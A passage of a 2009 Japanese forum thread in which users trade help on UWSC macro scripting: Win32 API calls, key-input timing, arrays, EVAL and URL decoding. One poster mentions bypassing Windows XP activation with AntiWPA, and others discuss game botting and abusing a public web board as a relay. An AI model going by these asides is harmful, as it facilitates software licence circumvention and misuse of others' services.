Const SPI_SETDESKWALLPAPER = 20
Const SPIF_SENDWININICHANGE = "&H2"
Const SPIF_UPDATEINIFILE = "&H1"
SystemParametersInfoA(SPI_SETDESKWALLPAPER, 0, "c:\01.bmp", SPIF_UPDATEINIFILE or SPIF_SENDWININICHANGE)

今のところ上記ではさっぱり動かないです。
UWSCでのサンプル等があればお教え願えるとありがたいです。

802:名無しさん@お腹いっぱい。
09/11/04 20:37:56 0Yk32EP+P
>>801
ぐぐれよ
Declare Function SystemParametersInfo Lib "user32" Alias "SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As Long, ByVal lpvParam As Any, ByVal fuWinIni As Long) As Long ...

int じゃなくてLongな

Const SPIF_SENDWININICHANGE = "&H2"
これ文字列を定義しちゃってるから
数値ならこっち
Const SPIF_SENDWININICHANGE = $2


803:名無しさん@お腹いっぱい。
09/11/05 12:44:49 S5x5Fprv0
>>802
ありがとうございました。動きました。

intの部分、Webで探すと(自分が参考にしたのはこれ、URLリンク(support.microsoft.com)
DwordやらUINTやらいろいろあったんですけど…longにしました。
数値の定義がUWSCでの16進数指定をするべきってのがわかりました。
…当然ですけどVBAとかのサンプルコードを読むときには、VBAの作法を先に理解すべきでした…

判ったのが嬉しかったです。

804:名無しさん@お腹いっぱい。
09/11/05 18:20:19 pU0U6qNS0 BE:642499373-2BP(215)
ループするごとに+1して
その数字を入力したいんですが、
どのような書き方になりますか?

805:名無しさん@お腹いっぱい。
09/11/05 18:29:15 Uto6/TER0
えっ

806:名無しさん@お腹いっぱい。
09/11/05 18:43:52 RpK58qujP
>>804
forで検索

807:名無しさん@お腹いっぱい。
09/11/05 18:57:41 pU0U6qNS0 BE:979047348-2BP(215)
>>806
ありがとうございました。

808:名無しさん@お腹いっぱい。
09/11/06 13:25:11 7O4EUde5P
トリップ検索しながら他の事を自動実行して
どれくらいCPU使用率があがっているのか調べようと
「Ctrl」+「Alt」+「Dlete」でタスクマネージャ^をたちあげたら
「Alt」+「F2」でuwscが止まらないです
偶然、自動実行でタスクマネージャーをタスクバーに収納したら治った
もしかしてバグ発見でしょうか?
ちなみにCPU使用率は65%でした
どなたか、うみうみ氏へのバグ報告よろしこ

809:名無しさん@お腹いっぱい。
09/11/06 18:22:43 lSBe5FmK0
日本語でおk

810:名無しさん@お腹いっぱい。
09/11/07 16:08:26 WRnsJZjs0
ところでuwscって何て読むんだ?
ユーイック?
ユイック?
ウニスク?

絶対に読み間違わない方法として
ユーダブリューエスシーと読む方法があるんだけど
それは味気ないなからいまのところユニックって呼んでるんだけど
なんて読むの。

811:名無しさん@お腹いっぱい。
09/11/07 17:23:48 Sczvtx3b0
なんだよユニックって
ユーダブリューエスシーでいいじゃん

812:名無しさん@お腹いっぱい。
09/11/07 17:35:53 3R7yiorj0
格闘ゲームを1フレーム単位で動かしたいけど
>>563-567見てるとuwscはCPUコアを使うから向いてないみたいだ

軽い負荷でマクロを組む方法はなにがあるんだろう?
CやC++とかがいいのかな

813:名無しさん@お腹いっぱい。
09/11/07 17:59:27 v0hn5DQqP
それマクロじゃないから

814:名無しさん@お腹いっぱい。
09/11/07 18:04:04 MRy0rC3KP
>>812
1フレーム単位って・・60フレーム/秒だとして15ms以下でコントロールとかどんな言語使っても無理だって。
23msってのはゲームとUWSCの組み合わせで入力を確実にするための時間であって、
それはもしかしたらゲームの方の制約かもしれないんだ。

たとえばメモ帳にすばやく入力はできるけど、スクロールが必要な場所に書き込むととたんに遅くなる。
入力漏れも出てくる。

ゲーム性のための遊びもあるし、ゲーム側の負荷で受け付けられなかったりするんだよ。

まあ、少なくともUWSCのコントロールはハードウェアレベルのコントロールと比較して再現性が低いのは事実。
だから負荷がかかりすぎたり複雑なすばやい処理が必要なら(いわゆるコマンド入力があるなら)、向いてないかもしれない。
ただ、23ミリ秒っていうのは、DOWNからUPまでの時間なので、
← DOWN
↓ DOWN
/ DOWN
23ミリ秒の待ち
← UP
↓ UP
/ UP
てな感じでいける。
DOWN、UPそれぞれにわずかな時間がかかってはいるけど、1ミリ秒とかそんなレベルだと思うよ。
まあC++でやればDOWN3連発でも1ミリ秒もかかったりしないけど。


815:名無しさん@お腹いっぱい。
09/11/07 18:54:33 RDWRX6dr0
特定のプログラムだけにUWSCを使うことは可能?
最小化してるゲームにUWSCでキーとかマウスを使わせて
なおかつ、普通に他の物も操作したり

816:名無しさん@お腹いっぱい。
09/11/07 19:14:54 MRy0rC3KP
>>815
ゲームは多分無理。
アプリケーションに直接送信ってオプションがあるからできるものもあるだろうけど、JaneViewですらKBD()コマンドでそのままは動かせなかった。
CLKITEMとか直接コントロールを指定するスクリプトならいいんだけどね。

裏でゲームマクロしたかったら仮想マシンでも作ればいいよ。
VMware Player3.0になってから、無料なのに簡単に仮想マシンが構築できるようになってるから。
つい先日のリリースですよ。

WindowsXPゲストの仮想マシンですらメインメモリ1GBないと実用になりませんが、それはもう問題ない時期でしょう。
あと、仮想マシンにもそれ専用のライセンスが必要です。
MSに問い合わせたらホストのライセンスも取り消されちゃうので注意してくださいね。
僕はホストではちゃんとライセンス守ってるものの、ゲストではAntiWPAで回避してますけど。

XP持ってない人はいないと思うけど、持ってない人はXP-modeのサイトから誰でもダウンロードできます。
もちろん流用するのは違法だし、そのまま流用はできませんが、怪しい場所から入手するのは著作権云々以前に
攻撃ツールが埋め込まれていて知らない間に他人を攻撃してる可能性があるので絶対にやってはダメです。


だいたい仮想マシンとかいろんな構成で何度も入れなおしたりするのにいちいち空くティベー所んとかやってられないですから。


817:名無しさん@お腹いっぱい。
09/11/07 19:15:42 3R7yiorj0
>>814
どんな言語使っても無理そうですかー
C言語でもだめだってならあきらめるしかないな
uwscは向いてはいないが、かと言ってこれより最適なものもない。って感じなのかな

格闘ゲームってやりこんでいくと1フレーム猶予の攻防がざらにあるんだけど
それを1フレーム単位のボタンON・OFFで検証したくてw
もし高い精度で1フレーム単位で動かせたら、組む時に分かりやすい、
安心感がある、何度も検証をやり直さずに済んで最高なんだけどなあ

818:名無しさん@お腹いっぱい。
09/11/07 19:24:47 MRy0rC3KP
>>817
大雑把な方法でよければ、一定時間繰り返すっていう手があるよ。

単純に繰り返しを早くしたり遅くしたりしてどれくらいの猶予があれば動くかとか
相手のある操作、組み合わせのある操作の場合は、
それぞれの実行間隔をわずかにずらして、何回ごとに違うアクションになるかとか・・
あ、攻撃を受けたらのけぞったりするからダメか。

一応このずらすやり方っていうのは、ノギスとかで、大雑把な目盛りを組み合わせて精度の高い測定をする方法として一般的なんだよ。


819:名無しさん@お腹いっぱい。
09/11/07 19:31:36 RDWRX6dr0
>>816
なるほど
よくわかりませんが
単純作業なので窓で開いたままします

ところで

KBD(VK_G,CLICK,203)

のクリックの後にある数字はなんでしょうか?

820:名無しさん@お腹いっぱい。
09/11/07 20:00:00 MRy0rC3KP
>>819
確か、その処理をするまでの待ち時間ですね。
それは負荷がかかるので僕は省略してます。
かわりに
Sleep(0.203); KBD(VK_G,CLICK)
とかにしてますね。
再現性はKBDで時間を指定したほうが高いでしょうが、0.1ミリ秒とかいう長い時間を待つには向いてないと思うんで。

負荷がかかってるけど入力タイミングがシビアなときにはこんな感じ
KBD(VK_ctrl, DOWN, 5)  // 時間を省略してもいいけど同時入力は処理できない可能性があるので
KBD(VK_shift, DOWN, 5)
Sleep(0.01)  // CtrlとShiftの押し下げ状態を対象に処理させるための待ち。Sleepしてる間UWSCはCPUを開放する。
KBD(VK_X, DOWN, 5)
KBD(VK_Z, DOWN, 5)
Sleep(0.03)  // キーのクリック認識のための待ち。複数のキーだとCLICK2回よりもすばやい。
         // 内側のキーはCLICKにしてSleepを外したほうが処理は確実で無駄がないが、Sleepにしたほうがゲーム側の処理に時間を回せる。
KBD(VK_X, UP, 5) // キーは押した順に離すとそれぞれのキーを押し下げている時間を一定に出来、間のSleepを短く出来る。5msの待ちが入ってるから0.02まで減らしても大丈夫だと思う。
KBD(VK_Z, UP, 5)
Sleep(0.01) // キーは離すときまで油断しない。確実にUPしないと次のCLICKができない。
KBD(VK_ctrl, UP, 5)
KBD(VK_shift, UP, 5)


821:名無しさん@お腹いっぱい。
09/11/07 21:00:20 RDWRX6dr0
>>820
こんな初歩的な質問まで丁寧に答えていただいて
本当に助かります、じっくりと読ませて頂きます。

822:名無しさん@お腹いっぱい。
09/11/08 16:20:11 FS1xEc4g0
中二病的発想で申し分けないんだが、
画像検索やって、認識したらターゲットにロックオンサイトが表示されたり、カラーメッシュがかかったりするのって可能?

マウスカーソルが移動するのは無しな、マウスカーソルを移動させるだけなら習得済みだから。

823:名無しさん@お腹いっぱい。
09/11/08 18:17:31 wKqL8NlR0
>>822
ゲームの描画はDirectXを使っていてリフレッシュレートにあわせてバッファからコピーしている。
DirectXで画面に表示されたものをさらに上書きするのは大変なことだよ。
タスクマネージャの「常に手前に表示」ですら後ろに隠れるんだから。

ゲームハック専用ツールならそういうことも不可能ではないかもしれないが、ちょっと無理だね。

Windows7で窓化して、ゲーム画面と同じ大きさの透明の窓を作ってそこに描画するのが簡単な方法だろう。
透明窓の重ね合わせはWindows7がハードウェアでやってくれるから負荷もかからないし。

一番負荷のかからないのは、ゲームをハックして書き終わったところで表示。
画像認識なんかしないでデータ上の座標を取得して重ね合わせ。

だいたい画像認識なんてのはゲームを動かすより大変な労力がいるんだぜ?
もちろん、戦闘機とか防犯カメラには当たり前についているけど、フレームレートが1秒間に10コマとかそんなもんで、
60fpsにあわせて処理なんてCore i7くらいの性能じゃないと無理。
いや、画像処理をGPGPUにやらせるならセレロンでもいけるか。

普通のGPUはあくまでも描画用回路しかないから無理だが。


824:名無しさん@お腹いっぱい。
09/11/08 22:43:22 N1ZfyY/E0
変数を使いある変数を別の変数へ変化させる方法

n1 = 0
n2 = 0
n3 = 0
n4 = 0
n5 = 0
という変数を定義した後に
n = "n"
m = 1
nm = n + m
と定義して

m = m + 2

とmに2を加えてやってmの値を3にしnmをn3の状態に変化させ
nm = nm + 3という式を与えると
私としてはn3に3を加えn3=3と
したつもりなのですがnmがnm3になります

mの数値を変化させnmを使いn1~n5の変数の値を操作したいのですがどうすればいいでしょうか

825:名無しさん@お腹いっぱい。
09/11/08 22:57:52 wKqL8NlR0
>>824
> n = "n"
これはnを文字列として定義したことになります。
文字列に数値を加えるのは、文字列の連結になります。
”n” + 1  は
”n” & 1  と同じ意味です。

EVALというのを使えば ”n1”という文字列からn1の変数を操作可能ですが。


> mに2を加えてやってmの値を3にし
m = 1
m = m + 2

> nmをn3の状態に変化させ
nm = n3

> nm = nm + 3という式を与えると

> 私としてはn3に3を加えn3=3と
n3 + 3 = 3


・・・よく分からないので表にしてください


826:名無しさん@お腹いっぱい。
09/11/09 00:15:54 wp6IQbGR0
//>>824 返答ありがとう//
//やりたいこと//
//変数を使って3行目変数n3の値を3にしたい//

//式//
////////////////////////////////////////////////////
n1 = 0
n2 = 0
n3 = 0
n4 = 0
n5 = 0
n ="n"     
m = 1 //コメント1:mを1置く//
m = m + 2 //コメント2:mに2を加える。現在mの値は3。現在nm = n3。//
nm = n + m //コメント3:現在n = nでm = 3なのでnmはn3となる//
nm = nm + 3 //コメント4:左辺のnmはn3なので3行目の左辺と10行目の左辺は同じ値であるということになる為//
        //      nm = nm + 3 ということは n3 = n3 + 3ということになり、//
// 3行目のn3の値0に3を加えたこと((n3 + 3 = 3)ではなく(n3 = n3 + 3)ということ)になる//                                  
print n3
/////////////////////////////////////////////////////
//期待したプリント結果は 3 // 
//実際のプリント結果は 0 //


//これで少しはわかりやすくなったでしょうか//
//変数aを使って変数bの値を変化させる方法の勉強中です//

827:名無しさん@お腹いっぱい。
09/11/09 00:40:40 wp6IQbGR0
>>825
EVALという機能でいけました。
ありがとう!40時間もかかった><

828:名無しさん@お腹いっぱい。
09/11/09 00:59:20 BZ9g5EYX0
>print n3
>//実際のプリント結果は 0 //
そりゃ、変数nmには文字列 "n3" が代入されてるけど、
変数n3になんにも代入されてないからねえ。

配列つかえばいいんじゃないの。

dim n[5] = 0, 0, 0, 0, 0
m = 3

n[m] = 3

print n[3]

829:名無しさん@お腹いっぱい。
09/11/09 01:02:55 BZ9g5EYX0
訂正
なんにも代入されてないから → 0が代入されたままだから

830:名無しさん@お腹いっぱい。
09/11/09 01:24:03 Wg6Yr+FN0
>>828
今それ書こうと思ったのに!
ってか、確認してないだろw配列も6個宣言してるしw

831:名無しさん@お腹いっぱい。
09/11/09 01:25:34 Wg6Yr+FN0
こんな感じかな?
dim n[4]=0,0,0,0,0
m = 3
n[m]=n[m]+3
print n[m]

832:名無しさん@お腹いっぱい。
09/11/09 01:43:46 BZ9g5EYX0
>>829
あ、ほんとだ。
一応テストしたんだけどなあ。
エラー出なかったから気づかなかった。

833:名無しさん@お腹いっぱい。
09/11/09 21:29:27 7/pEhhd4O
さっきダウンしてUWSCとかスクリプトとか一切わからんのだが
コピペした文章をエクセルで常に特定のセルに張り付ける方法教えくされ
動かすとエクセル側のセルがずれる

834:名無しさん@お腹いっぱい。
09/11/09 22:20:10 reYUu1vL0
>>833
ダウンしたなら寝てろよ

835:名無しさん@お腹いっぱい。
09/11/10 02:43:35 Ljbgb4FJ0
>>833
OLEObjectを操作すればおk

836:名無しさん@お腹いっぱい。
09/11/10 04:18:28 KPKoPGpy0
配列の中にある変数の1つがその配列の中で何番目に大きな数値なのかを知る方法

dim p[10] =0,12,3,13,5,4,7,8,1,12,3,29 という配列があったとする。

p[7] = 8 なのでp[7]はこの配列の中で5番目に大きい数値であるということはわかるけれども
これをuwscで導き出すにはどうしたらいいのでしょうか。

837:名無しさん@お腹いっぱい。
09/11/10 04:37:07 Ljbgb4FJ0
>>836
まず名前の付け方がダメですね。
pは普通ポインタを意味するので使ってはダメです。
UWSCにポインタはないけど、名前付けの基本ですから。

Nとでもしてください。
dim N[10] は N[0]~N[10]までの11個の配列ですが、12個指定してるのでエラーです。

最大値の求め方は他の言語のアルゴリズムと同じですから、ぐぐってください。

配列データの処理には、for ~ next を使うのが基本です。
for i = 0 to 10
 print N[i]
next

【実行結果】
0
12
3
13
5
4
7
8
1
12

838:名無しさん@お腹いっぱい。
09/11/10 07:30:19 JLM+3UwS0
URLエンコードされた文字列(例%82%a0%82%a2%82%a4%82%a6%82%a8)を
デコードして元の文字列(あいうえお)に戻したいのですが、どうやったら良いのでしょうか。

839:名無しさん@お腹いっぱい。
09/11/10 08:13:59 Ljbgb4FJ0
>>838
DECODE( "%82%a0%82%a2%82%a4%82%a6%82%a8", CODE_URL )


840:名無しさん@お腹いっぱい。
09/11/10 09:12:00 JLM+3UwS0
ありゃそんな関数ありましたか。失礼しました。
文字列関連ばかり見てました。

841:名無しさん@お腹いっぱい。
09/11/10 09:30:12 JLM+3UwS0
喜んだのは束の間、実際の文字列はEUC-JPだった…
さてどうしたものか。

842:名無しさん@お腹いっぱい。
09/11/10 09:53:06 Ljbgb4FJ0
%82をEUC-JPで書かれてるの?まさかそんなことはないよね。
開いたページの話なら、IEで表示した文字を取得すれば変換されてるよ。

具体的には、IE.Document・・.InnerHTMLはもとのコードかもしれないけど
.InnerTEXTは変換されてるかもしれない。
もしくは、上記はどちらももとの文字コードで、IEGetDataなら変換されてるかもしれない。


843:名無しさん@お腹いっぱい。
09/11/10 10:17:19 JLM+3UwS0
さっきは安易にshift-jisで例を出してしまいましたが実際はeuc-jpで
%a4%a2%a4%a4%a4%a6%a4%a8%a4%aa = あいうえお
やろうとしてることはwikiからゲットしたページの内部に張ってあるリンクを元の
日本語に変換しようってことなんですが。

844:名無しさん@お腹いっぱい。
09/11/10 11:29:47 Ljbgb4FJ0
>>843
その文字列をどうやって取得したかですよ。
IEGetDataなら問題ないはずなんですが。

.Valueだったなら、.InnerHTMLとか.InnerTEXTも試してみてください。


ところで、Wikipediaのホームページのソースには charset=utf-8 って書いてあるんですけど。


845:名無しさん@お腹いっぱい。
09/11/10 11:38:56 JLM+3UwS0
wiki≠Wikipedia
一般のwikiですよ。
uwsc経由でなく、既にローカルに保存したファイルです。
ブラウザで開くこともありません。

846:名無しさん@お腹いっぱい。
09/11/10 11:56:44 JLM+3UwS0
uwscをテキスト変換に使おうというところから間違っているかもしれないですね。

847:名無しさん@お腹いっぱい。
09/11/10 12:53:16 O2OEndzR0
>>846
(保存したものを||保存するときに)、UTF8あたりに変換ソフトかませればいいんじゃね?
不恰好かもしれないが、テキストエディタを制御してもいいんだし…UWSCの十八番でしょう。

変換を外部に頼るならnkfのwindows版でも使えるような気がするけどなぁ。

848:名無しさん@お腹いっぱい。
09/11/10 13:19:54 JLM+3UwS0
そういうファイル全体の文字コードは他のツールで問題ないんですけど…
shift-jisで %a4%a2%a4%a4%a4%a6%a4%a8%a4%aa と書いてある部分を
あいうえお として取得したいのです。
DECODE("%a4%a2%a4%a4%a4%a6%a4%a8%a4%aa",CODE_URL)だと化けて 『、「、、、ヲ、ィ、ェ』になってしまう。

一旦ファイルに書き出して、他の変換ツールでeuc-jp→shift-jis変換して
再度読み込んで取得というのにしようかと考え中です。
スマートじゃないけど、ちゃんと動作するので。

849:名無しさん@お腹いっぱい。
09/11/10 13:42:33 O2OEndzR0
>>848
前述したnkfのdllを使うことで、外部ファイル経由じゃなくても変換できたぞ

850:名無しさん@お腹いっぱい。
09/11/10 15:17:35 JLM+3UwS0
>>848は失敗、最後の文字が空白になる文字だとちょん切られてしまいましたorz
>>849
参考までにその方法を教えて頂ければ。
Dll定義はほとんど使ったこと無いんでよくわからんです。
beep鳴らすくらいにしか使ったことがない。

851:名無しさん@お腹いっぱい。
09/11/10 16:33:16 O2OEndzR0
>>850
自分もよくわからんまま使ってるけどなぁ
十分な領域を確保? UWSCにそんな定義ないよなぁ・・・・とか
nkf は-> URLリンク(www.vector.co.jp)

//-----------------------------------------
DEF_DLL GetNkfVersion(var string): :nkf32.dll //型名の宣言があってるかはいまだよく判らん
DEF_DLL SetNkfOption(var string):int :nkf32.dll
DEF_DLL NkfConvert(var string, var string): :nkf32.dll

version = "null" // "" だと受け取ってくれない
GetNkfVersion(version)

Str = "%a4%a2%a4%a4%a4%a6%a4%a8%a4%aa"
StrDECODE = DECODE(Str, CODE_URL)
SetNkfOption("s") //S-JISを指定
outStr ="null"
NkfConvert(outStr, StrDECODE)

msgbox(version +"<#CR>元 : " + Str +"<#CR>後 : "+ outStr)

//-------------------------------------------

…あと、BEEP鳴らすの面白いw ありがとう。コードの楽譜どこかに無いかな…

852:名無しさん@お腹いっぱい。
09/11/10 16:56:54 JLM+3UwS0
>>851
いい感じに行けました。ありがとうございます。

853:名無しさん@お腹いっぱい。
09/11/10 17:38:46 GpcSIMUW0
マウスカーソルをCHKIMGで画像認識することはできないのですか?
カーソルの状態を判定したいのです。
ゲームで使いたいく、MUSCURはだめそうなので・・

854:名無しさん@お腹いっぱい。
09/11/10 18:08:42 uuf5Ec7A0
>>853 imagine?

855:名無しさん@お腹いっぱい。
09/11/10 18:20:19 GpcSIMUW0
別のツールならできるということですか?

856:名無しさん@お腹いっぱい。
09/11/10 18:55:52 Ljbgb4FJ0
>>851-852
領域は文字列をあらかじめ代入して作ります。
UWSCで領域を確保するには工夫がいるようですが、他の言語よりもある意味簡単かも。

>>851の例では変換後のSJISの方が短くなるので
outStr = Str
とすれば、十分な領域を確保できます。
この辺きちんとやらないと意味不明なバグに遭遇することになります。

参考:
URLリンク(www.geocities.jp)
// APIを利用した文字変換
function 文字変換(kind, moji)
  ret = moji + moji    // 半角->全角の為に倍の領域を確保
  LCMapStringA(0, kind, moji, -1, ret, Length(ret))
  result = ret
fend


857:名無しさん@お腹いっぱい。
09/11/10 20:12:44 Gw0JXs4g0
>>836
遅レスだけど、何回も値見るなら二次元配列にして何番目の値か入れておけばいい。
何回も追加削除するなら、二次元配列にして、大きさの順番に配列に番号,値を格納して、
追加削除の時に配列シフト使えば多少軽くなると思うよ。

858:名無しさん@お腹いっぱい。
09/11/11 07:24:01 k45oh59N0
>>855
いや、

972 名前:名も無き冒険者 [sage] 投稿日:2009/11/10(火) 17:02:41 ID:???
分解マクロ作りたいのですが、
店員をクリックするのがうまく行きません。
カーソルが矢印から○十字になるのを
画像認識してクリックさせているんですけれど・・・
店画面になってから買うのと分解するところはうまくいっています

レスのタイミングからこれかと思ってさ。

859:名無しさん@お腹いっぱい。
09/11/12 11:50:38 DGvdxA4EO
UWSCを再生したらSTOPって出ますよね
そのSTOPをマクロで押し一度停止したのちに、すぐ再生までをマクロ可能ですか?

860:名無しさん@お腹いっぱい。
09/11/12 11:58:24 DGvdxA4EO
すいません焦って書き過ぎました。

手動で再生
マクロで停止
マクロ再生
こういう流れを組みたいのですが可能ですか?
可能でしたら組み方をアドバイスお願いします。

861:名無しさん@お腹いっぱい。
09/11/12 12:27:51 N2QpMoHSP
機能理解不足、しかも説明が下手なら本当にやりたい事を書いたほうがいい
マクロをどう動かしたいかではなく、マクロを使って何をしたいかをね

もっと別のいい方法があるはずだから

862:名無しさん@お腹いっぱい。
09/11/12 12:46:02 DGvdxA4EO
説明不足で申し訳ないです。

ある画面になると一度停止してマクロを初期化したくて
初期化したいのはウィンドウハンドル
新たにウィンドウハンドルを収得すれば良い話なんですが中々上手くいかなく
手動停止~手動再生 すれば動くようになるので、この動作もマクロで出来ないかなと思いまして、質問しました。

863:名無しさん@お腹いっぱい。
09/11/12 22:05:42 I/hgk8z30
KBD(VK_A,CLICK,40)
を使ってキーボード入力しているのですが
大文字、小文字を使い分けるときは
KBD(VK_SHIFT,DOWN,40)
KBD(VK_A,CLICK,40)
KBD(VK_SHIFT,UP,40)
というようにしないと無理でしょうか?
もう少し効率のいい方法があれば教えてアドバイス欲しいのですが

864:名無しさん@お腹いっぱい。
09/11/12 22:09:24 UpsrNqrXP
>>863
CapsLock・・・とか

865:名無しさん@お腹いっぱい。
09/11/13 00:46:22 PMcSQRlS0
>>864
やっぱそういう方法しかないですよね・・・
文字コードとか使えればいいんですが地道にスクリプト組むことにします

866:名無しさん@お腹いっぱい。
09/11/13 19:31:59 xGhkIPWz0
抽出してもよくわからず、単発になってしまい申し訳ないです。

Aがあれば操作X、なければBを探してBがあれば操作Y後Aを探す、なければ操作Z後Bを探しつづける

While True
IFB CHKINMG -A
操作X
Break

ENDIF
WhileTrue
IFB CHKINMG -B
操作Y
Break

ENDIF
操作Z

Wend
Wend

というような命令をしたいのですがwhile ENDIF(while ENDIF wend)wendというスクリプトは組めないですか?
更に、Repeat whileA ENDIF(whileB ENDIF wend)wend whileC ENDIF(whileD ENDIF wend)wend until としたいです。

質問の仕方も、説明も理解不足だと承知していますがよろしくおねがいします。

867:名無しさん@お腹いっぱい。
09/11/13 20:09:18 wt1FvuqrP
>>866
まずインデント修正
While True
 IFB CHKINMG -A
  操作X
  Break
  
 ENDIF
 WhileTrue
  IFB CHKINMG -B
   操作Y
   Break
   
  ENDIF
  操作Z
  
 Wend
Wend

while ENDIF(while ENDIF wend)wendというスクリプトは組めないですか?
while
 ENDIF
 while
  ENDIF
 wend
wendというスクリプト


868:名無しさん@お腹いっぱい。
09/11/13 20:14:54 wt1FvuqrP
更に、Repeat whileA ENDIF(whileB ENDIF wend)wend whileC ENDIF(whileD ENDIF wend)wend until としたいです。
Repeat
 whileA
  ENDIF
  whileB
   ENDIF
  wend
 wend
 whileC
  ENDIF
  whileD
   ENDIF
  wend
 wend
until としたいです。

ENDIFと一緒にIFを使えば問題ない。
ところでENDIFっていうのはこの構造の中で特に意味を持たないよ。
だから構造の説明時には省略して差し支えない。

最初のbreakが入った文は構造に影響するけど、別にたいした影響はない。
break2とかいうのを使ったときは影響してくる。


869:名無しさん@お腹いっぱい。
09/11/13 22:18:38 85p2y6tD0
ルーター経由で接続されてるPC同士でUWSCを連動させたいんですがやっぱり無理ですか?
PC1で起動されているUWSCとPC2で起動されているUWSCでやりとり出来るようにしたいんです。
外部ソフトやDLLでもなんでもいいので教えてください。

870:名無しさん@お腹いっぱい。
09/11/13 22:35:39 wt1FvuqrP
>>869
リモートアシスタンスとかで接続するとか。
SoftEtherとか入れればローカルエリアとして通信可能になるし。

でもp2pで通信するには複雑な制御が必要になるからねえ・・・
IEみたいなCOMオブジェクトが通信してくれたらいいけど、p2pだとねえ・・・

IPMessengerみたいなやつ利用して通信かなあ。
送信はメモ帳に貼り付けと変わらん手順だし、
受信のときは待ちループするだけ。


871:名無しさん@お腹いっぱい。
09/11/13 23:09:45 DfpgKErgP
WEBサーバを間接的に利用するのはどう?
postされた文字列を表示する掲示板とか使えば
一方が書き込み、一方が読み込みで情報伝達は可能

ルータ越えとか意識せずuwscの標準機能だけでバカチョンで出来るよ

872:名無しさん@お腹いっぱい。
09/11/14 11:02:41 4vOxM3zc0
VKでアンダーバー(_)指定するやり方教えてください

873:名無しさん@お腹いっぱい。
09/11/14 11:33:07 OpCJso/X0
>>867-868
ありがとうございます!

874:名無しさん@お腹いっぱい。
09/11/14 11:41:16 npxHArPNP
>>872
WINUSER.H では10進数で226、16進数でE2
VK_OEM_102で定義されてるそうです。

でも@マークと同じで、シフトキーとともに入力しないといけないんじゃないかな。
スレリンク(tech板:78番)+80


875:名無しさん@お腹いっぱい。
09/11/14 12:08:05 /OecLJDJP
>>872
カメラのマークで記録して保存したら中に書いてあるだろ

アンダーバーの書き込み
KBD(VK_SHIFT,DOWN,40)
KBD(VK_OEM_102,CLICK,40)
KBD(VK_SHIFT,UP,40)

876:名無しさん@お腹いっぱい。
09/11/14 19:11:31 Ft/ieC5X0
>>871
おいおい大迷惑な手法解説してどうすんだよw

せめて自プロバイダ提供のwebサイト構築用空間に自分専用掲示板作れとかにしようよ

877:名無しさん@お腹いっぱい。
09/11/14 20:31:58 4vOxM3zc0
ありがとうございました

878:名無しさん@お腹いっぱい。
09/11/14 21:28:18 knlQgbTsO
recIEってもしかしてメニューバー使えない?

879:名無しさん@お腹いっぱい。
09/11/14 22:56:51 /OecLJDJP
>>878
使えない
Alt&Fとかショートカットキーも使えない
自分はそれでも便利だと思ってるけどね

880:名無しさん@お腹いっぱい。
09/11/16 08:01:58 rG+iRQ2cO
規制中なので携帯からで申し訳ないのですが
GETTIMEで指定した時間に処理をしたいのですが
どこかおかしく、巧く動いてくれないので、修正お願いします。
6時30分~10時30分までの間処理をしたくて、下記の様に書いてみました。
GETTIME()
HH = G_TIME_HH
NN = G_TIME_NN
IFB HH +","+ NN > 6+","+ 30 and HH +","+ NN < 11+","+30 THEN
処理
ENDIF

881:名無しさん@お腹いっぱい。
09/11/16 08:26:07 MjBoUClvP
犬と月曜日はどちらが大きいのですか?
教えてください

882:名無しさん@お腹いっぱい。
09/11/16 08:44:19 fyKVQoggP
>>880
HH +","+ NN
6+","+ 30
HH +","+ NN
11+","+30
これらの計算結果がどうなるか確認しました?
文字列の一致、不一致ならできますが、大小比較の結果がどうなるかまでは、僕は知りません。

時間のチェックは難しいけどよく使うので僕も悩みますが、EVALで計算するのが楽じゃないかと思います。
IF EVAL("0630" + "-" + HH2 + NN2) <= 0 then 開始

あと、一日のうちの数時間しか動かさないのなら、開始時刻はランチャーで指定したほうがいいと思います。
そしたらスクリプトでは終了時刻のチェックだけで済みますよ。

ちなみに、ループでやるにしても改善したほうがいいですよ。
ループを分ければ条件をシンプルにできるし、
sleep時間を大きくしたほうがCPU使用率を下げられるので。
while true
 GetTime()
 while 0630まで
  sleep(10)
  GetTime()
 wend
 while 1130まで
  処理
  GetTime()
 wend
 while 日付変更まで
  sleep(60*60)
  GetTime()
 wend
wend

883:名無しさん@お腹いっぱい。
09/11/16 09:26:28 rG+iRQ2cO
>>882さん
今はGETTIMEが巧く使えないので、6時30分~10時30分迄と指定してますが
行く行くは、10時30分~14時30分など4時間ずつ幅を持たせ
マクロを起動した時間帯に合わせて、処理を組んで行きたいと思ってます。

884:名無しさん@お腹いっぱい。
09/11/16 10:11:52 fyKVQoggP
>>883
その場合時間を配列で持って逐次セットですね。
while true
 GetTime()
 START、STOP時間のセット
 while STOPまで
  処理
  GetTime()
 wend
 while STARTまで
  sleep(10)
  GetTime()
 wend
wend

885:名無しさん@お腹いっぱい。
09/11/16 21:51:18 MM7BRwTd0
タスクトレイにあるアイコンを終了させるには、
どのように処理すればよいのでしょうか、教えてください。

886:名無しさん@お腹いっぱい。
09/11/16 23:29:28 wYHJYqc+0
>>885
アイコンは終了出来ません><;
プロセス名からプロセスID取ってきて終了させればいいんじゃない?

887:名無しさん@お腹いっぱい。
09/11/17 17:52:10 T9e274pv0
操作したい画面がすでにバックグランドで起動してるときに
REPEAT
SLEEP(0.1)
UNTIL !IE.busy AND IE.readystate = 4
てなくてよいよね??

888:名無しさん@お腹いっぱい。
09/11/19 01:16:33 kjRTN5IV0
3分おきにJキー、5分おきにUキーを押すってのを繰り返す
スプリクトは組めますか?

889:名無しさん@お腹いっぱい。
09/11/19 01:29:17 Yyxyb70w0
組めます

890:名無しさん@お腹いっぱい。
09/11/19 19:08:29 r9u6rxytO
質問です
IEを使って指定Webサイトを開く→エクセルのリストを元にフォームにID・PW(仮)を入力、ログイン→パスワードの再設定フォームが出るので、
一つ目のフォームにはPW(仮)を入力、二つ目のフォームにはエクセルのリストからPW(正)を入力、設定ボタンをクリック→ブラウザを閉じる。→最初から
という作業をエクセルの行の分だけ繰り返しして行うことは可能ですか?
フォームにテキストを入力する際にエクセルから必要な情報をコピーします。

891:名無しさん@お腹いっぱい。
09/11/19 20:57:24 IbSwdCL+0
凄い不正行為っぽい感じがしますね^^

可能ですか?って自分でやってから来いよ。
こうこうこうしてみたけれどここが上手くいかなかった。
ここをこうする為の何か上手い方法は無いか?
とか、せめてそれくらいは。

892:名無しさん@お腹いっぱい。
09/11/19 21:18:45 K5RMM/XMP
やっぱりね
誰かがどういう解答出すのか見てたw
こんくらいで不正とか言うのはちょっと神経質じゃないの
